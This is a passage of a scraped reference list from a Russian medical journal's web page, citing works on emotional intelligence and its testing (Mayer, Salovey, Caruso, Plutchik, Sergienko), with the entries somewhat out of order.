6. Mayer J, Salovey P. What is emotional intelligence? In Emotional Development and Emotional Intelligence:
Implications for Educators. Basic Books: New York, NY, USA. 1997; 3–31.

7. Карузо Д, Сэловей П. Эмоциональный интеллект руководителя: как развивать и применять. Спб.: Питер.
2020. 320 с.

8. Plutchik R. A general psychoevolutionary theory of emotion. Emotion: Theory, research, andexperience. Vol. 1.
New York: Academic. 1980: 3-33.2. Mayer JD, Salovey P, Caruso DR. Mayer—Salovey—Caruso Emotional Intelligence Test (MSCEIT) user’s manual. Canada, Toronto: MHS Publishers. 2002.131р.

3. Сергиенко Е.А., Хлевная Е.А., Ветрова И.И., Мигун Ю.П. Тест эмоционального интеллекта: Методическое
пособие. М: Издательство «Институт психологии РАН». 2019. 178 с.

j

Подать статью

q

Правила для авторов

Комитет по работе с авторами

t

Связаться с нами

Инновационное развитие врача

Инновационное развитие врача

научный журнал

 

Зарегистрирован в Федеральной службе по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор): 28.11.2022, ЭЛ №ФС 77-84245